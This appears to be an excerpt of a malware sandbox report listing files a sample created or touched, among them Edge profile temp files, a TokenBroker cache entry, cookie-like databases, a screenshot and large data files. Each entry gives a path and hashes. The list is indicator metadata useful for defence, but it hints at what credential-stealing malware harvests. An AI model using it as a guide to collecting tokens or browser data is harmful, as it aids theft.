SHA512 ef18741c755fc4955add3be5b165c3c9eb83a9e4bde0b7da00e1309c5c759a25bfc89f27ff084655dfa80f936178e2c59e780e937426c78d0e4500bbe04c2571
TLSH
T12761B79D196FB094DBAFCE3086D9A95FF9780BF0B6835E23B3D6C4B8572B7145014094
MD5 SHA1 SHA512 TLSH

Submit Download

5b52ce31-eeb1-4e5e-a3c1-3d40d1e05aae.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\5b52ce31-eeb1-4e5e-a3c1-3d40d1e05aae.tmp
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

0c353a03-a75e-4627-9a1a-a1df8cdbb9b8.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\0c353a03-a75e-4627-9a1a-a1df8cdbb9b8.tmp
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

655450f2-e526-46f8-b4e6-5a8e5e489527.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\655450f2-e526-46f8-b4e6-5a8e5e489527.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 24KB
SHA256 d1d12aea9537825c4288ec5d9ba97af0ec0f20832d91e4131294afa16a666aaf
MD5 67c9acae70de358ab0efca7260bff0d2
SHA1 0edcbf340ca7e847b207346dd3ccd640b24aa650
SHA512 bd8ede3f9bb02f3234250da093b7fb185664da7f0ce49da4ae61397da4ca8e277dd875545f629447b6bcbefc98bd6d360744eeff3701ef4d9ae420d1c3379418
SSDEEP 192:Ojhff4AZWCAmGdiXW6M4hg/YwP6X5vo7FPD1rhP4DFhvXwPj6Lg:OtfFvpopPxrB4Rhfwr60
TLSH
T1F2B2451571BB021138FE290C81B5872E464231B37259E72B7FBD04A69E6BF085DFD8C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b0f1f40e-926c-4725-b4f2-a7c861fde938.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\b0f1f40e-926c-4725-b4f2-a7c861fde938.tmp
Size 12KB
SHA256 62d837608f6dac219454d2d53d36626f407d6b94da31ea73f66c7e16697c8a39
MD5 7fab0679aaf213d90ad7f543396ca3ef
SHA1 f039803b2dd6e2601addd4dad44302276318ef04
SHA512 f4fc2dfbec9198bec662c80b56e2842dae96a53361ab2b45ea53bf1869184ef1f1f3650c0efcaaee0507e806a44a625df8e659793f6d1d1376c488c8ab7d6424
SSDEEP 192:sxZURnkS/fnsKQZZNIN8FzodpwRVHW6+WNrSqhYMyeIgFYmhIg5sJJ:sxZUCS/fnsKOZNTOgHbjhqRuY6Cz
TLSH
T17542E815AD28697B8CCBD219FB59BF52D3FD503290941E48A6FCCA1C14EBADD220781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d3d8feac-4169-4c5d-b96a-0f2d26964040.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\d3d8feac-4169-4c5d-b96a-0f2d26964040.tmp
Size 12KB
SHA256 4d76d324455aa68423a95ab4d47366f1933dc19a6906fe996b21460893215d1b
MD5 b7ca0825b9492a446ba50def226eeefc
SHA1 81053c4fbaf01dcef508742aa4b5030c340f61cb
SHA512 d83dd127d87cf2b2e4e9d0c31405fd1cc764a53657140334a0fd13683139d67d67d0609a2badbc2bb09f9de6918388baf3187d5d51c2b64c8906cb149636d999
SSDEEP 192:sxZURnkS/fnsPQZZNINZFzodpwRHW6+WNrUihYMyeIMFYmhIg5oaLJ:sxZUCS/fnsPOZNaOmHbthqRaY6Dd
TLSH
T1C342E815AD28A97B9CCBD219FB15BF52D3F9503290D41E48A6FC8A1C14EBADD220381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d4d9a768-7537-41b5-8e8c-27362a9b2dbc.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\d4d9a768-7537-41b5-8e8c-27362a9b2dbc.tmp
Size 25KB
SHA256 4531365622475b9f108abd15ca5f4758955f96feabf881142517078c43080fe2
MD5 f1b0e2c84249977e1b1a55f0de6600e8
SHA1 06119b4016211964516e5a95cd0a70e8ad979cae
SHA512 d3e790d5369f17a1cb444ef2413c27392f426823f7d5df33d6a6c2af55b9bb3026357ab1ba09c5d07ee74aba7548334b25b1b9790d585b69d774edb60abad935
SSDEEP 384:nGiFiZcI63sNp8TUNTUlIm25mg5wnKzfMBaLXJmb7O6R2FeoCrgL/7IzNo2:tFQ634wgSbvBEwb7TRn5R
TLSH
T14CC24B36EC94CABBECFB8F99A74A7A07DEE0416385DC4AC0DAD85D1D008759D1307C26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ec018301-9d2c-4634-8b12-ebc7492a8b2d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ec018301-9d2c-4634-8b12-ebc7492a8b2d.tmp
Size 26KB
SHA256 9e4a45ac18104c4f349a9e82de1592415e48b261f8b947b6eb51b2ec9a579535
MD5 138837d0a6c4334f237155b4d1d61cc4
SHA1 33444dc89c0fc33015f888c62b2d764617ce0fb3
SHA512 238b9c7cda006b83971703ef941938ce7b3248a248716190b7e22d252bf35547efb4cec2b124731d03e99d6bd1bdbb4d253ddbd31002f68969b1bb30fb33a189
SSDEEP 384:nCiFiZcI63sNh8TUNTUlIm25mg/B/KzfMBaLXJIh5p7O6R2FeoCrgL/7IzNo2:JFQ63IwgS6HBEUp7TRn5R
TLSH
T1F9C25C31E899CEBBECEB8B96A74A7A07DDF0516389CC8AC0E5D85D1D008759D170BC27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 aa5eb23b310b1b15827cec05a365d4efd5bb5e4e942b9de9c0d39fb7027f64fc
MD5 c18b4053c9960bef4e55f8599fe28585
SHA1 5c3c3d5d1e4b7abd6c2db0df5486226542ffef09
SHA512 e9bbe79046a487d0cc6a4c1e7227338af8f51b8400b6ee8a1ebc7c4015aecfeb26c3068530fa774c466331ccbce051d4d0faca7912f9d30aa57e4b94b4a269fb
TLSH
T18D411A59B7EE1144B3B76E2A9BF6B96E447E79772E07D49D00010D4F0A62B40C871737
MD5 SHA1 SHA512 TLSH

Submit Download

ck_240702281.db

Path C:\Users\Admin\AppData\Local\Temp\ck_240702281.db
Size 20KB
SHA256 edd1b49dec2653422e99829207032e4a17f8a07019f2a84ac238a2e1bff7d6d7
MD5 0ecfee65f698e3c69796cf139722b2a2
SHA1 c4a842fed87346753f3bb2ef5aab717de929b737
SHA512 b3ef2d05b423712a785bf455e2ae2ae48d8e68d3d5b9412b6bddaff5514fa107c6ab64dc806844039899acd8c5db8b13dc9859a1551fa30e4a91579690c5e2ed
SSDEEP 48:TeW9aw/aHLopFMavU1iBTHmebd/Br5gx4cx:nPareMaZ6qdprzY
TLSH
T133921E8F0F303654C0F89736E9C2498B1E7D222D9353A999AE5410F38CD25ABF50A6B6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ck_240702312.db

Path C:\Users\Admin\AppData\Local\Temp\ck_240702312.db
Size 20KB
SHA256 01619618d47bc0601800db3fa64d893ba30421f6509444aaec166efee02c8422
MD5 142e16121ccd8cefec51902d09f50708
SHA1 5e779f0c49df42bc3ac9a3d4e68371707d3ba4ff
SHA512 d19308abf2ea334b84126651a32e1e9eb54136e9bb5a09f69e0409d8f1edb33b2ee9a202f1d624683c125f10fd2afb64386cceb81b669fc815c297956277b790
SSDEEP 48:TtLopFMatSaw/auUOt8BY+oHEVw15VUkX8ELAwH:9eMatUaAKMEVk5ykXhAA
TLSH
T1DC921D4E6F346221D0B05B36EED085373F7C201DD36776999E1460F28DA269BF20A0BA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

infz_shot.bmp

Path C:\Users\Admin\AppData\Local\Temp\infz_shot.bmp
Size 5.9MB
SHA256 49bfb5a77406c6664747b22b009695e056b2368297ecb6fa579d2e99c909cdd6
MD5 7302dc779df6e33849cdb4be80de99f8
SHA1 526b3296d2377241dfcd7c39ee5c3cd1588e575a
SHA512 ac86637d72c162a058e4579353c91416d4da60ab403aa356d808903e0e792240797f7c56b25044dd46987633f1745558331859327f7a50678a2c468c0d6c5af0
SSDEEP 12288:oL/1ZLJH4FG1afBaGzvnCeNjjsZ3nQz3f4W:oL/1ZLJGG1afBgZ3QzP4W
TLSH
T16E56E223F5EA7A54FA3A397982F4071DA310E8D8BB48078F852978F0F1923456D776B4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

infaz_2.dat

Path F:\infaz_2.dat
Size 100.0MB
SHA256 427d0bef965be1ed3e797a071a6f9f00b4b6f53be43cb4dc8e78db1249e1381d
MD5 d924434f83b88ac06e833fc724659a62
SHA1 97755f50f559db4df7b02e294337fdbe5665919c
SHA512 21c4527e317d73e9e2260c8df2f4dd9abf09fa3beca6ba134b874c6bcd5133b7fe5898eb618317f27e013190805c4077f532870c77a3fa8d64cc8c79990212bd
SSDEEP 3:Wttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkw:Yq6u
MD5 SHA1 SHA512 SSDEEP

Submit Download

infaz_3.dat

Path F:\infaz_3.dat
Size 100.0MB
SHA256 cd1f2a4b7893d1c70893ed2ba347e140d34bdcd2794097424083d9367fa5caa6
MD5 5937fb14ca678edd47fca8acbf0f12d0
SHA1 c1ff9be307e47212d858e3bd534a32e94eba0d75
SHA512 b552f74ee4dc974b9f42feeb7a97a70c7c3bb94817478c571195d6d91156ea7d4d90a426df0fef975c91a549b19763c3a7a87c0a564a11cabc95630ebaf9ff09
SSDEEP 3:Wttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkw:Yu
MD5 SHA1 SHA512 SSDEEP

Submit Download